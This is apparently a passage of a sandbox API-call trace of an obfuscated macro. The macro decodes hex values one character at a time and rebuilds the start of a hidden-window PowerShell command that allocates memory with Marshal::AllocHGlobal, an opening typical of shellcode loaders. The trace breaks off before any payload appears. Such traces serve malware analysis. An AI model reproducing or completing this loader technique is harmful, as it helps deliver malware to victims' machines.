lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Уµ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0071.932] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Mars", bstrRight="h", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.932] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.932] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.932] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0071.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.932] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marsh", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.932] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.932] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.932] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.933] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marsha", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.933] VarBstrCat (in: bstrLeft="&H", bstrRight="BA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.933] VarParseNumFromStr (in: strIn="&HBA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.933] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="º") returned 1 [0071.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="º£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="]") returned 1 [0071.933] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal", bstrRight="]", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.933] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.933] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.933] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0071.934] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]", bstrRight=":", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.934] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.934] VarParseNumFromStr (in: strIn="&H74", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.934] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0071.934] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]:", bstrRight=":", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.934] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.934] VarParseNumFromStr (in: strIn="&H82", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.934] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="‚") returned 1 [0071.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0071.935] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::", bstrRight="A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.935] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.935] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.935] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.935] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::A", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.935] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.936] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.936] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.936] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::Al", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.936] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.936] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.936] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0071.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0071.936] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::All", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.936] VarBstrCat (in: bstrLeft="&H", bstrRight="C6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.937] VarParseNumFromStr (in: strIn="&HC6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.937] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Æ") returned 1 [0071.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.937] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::Allo", bstrRight="c", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.937] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.937] VarParseNumFromStr (in: strIn="&H90", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.937] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1 [0071.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0071.937] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::Alloc", bstrRight="H", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.937] VarBstrCat (in: bstrLeft="&H", bstrRight="8E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.938] VarParseNumFromStr (in: strIn="&H8E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.938] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ž") returned 1 [0071.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ž", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8e£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="G") returned 1 [0071.938] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocH", bstrRight="G", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.938] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.938] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.938] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.938] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHG", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.938] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.939] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.939] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0071.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0071.939] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGl", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.939] VarBstrCat (in: bstrLeft="&H", bstrRight="C4", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.939] VarParseNumFromStr (in: strIn="&HC4", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.939] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0071.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0071.939] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlo", bstrRight="b", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.940] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.940] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.940] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0071.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.940] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlob", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.940] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.940] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.940] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0071.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0071.940] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGloba", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.941] VarBstrCat (in: bstrLeft="&H", bstrRight="50", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.941] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.941] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0071.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="(") returned 1 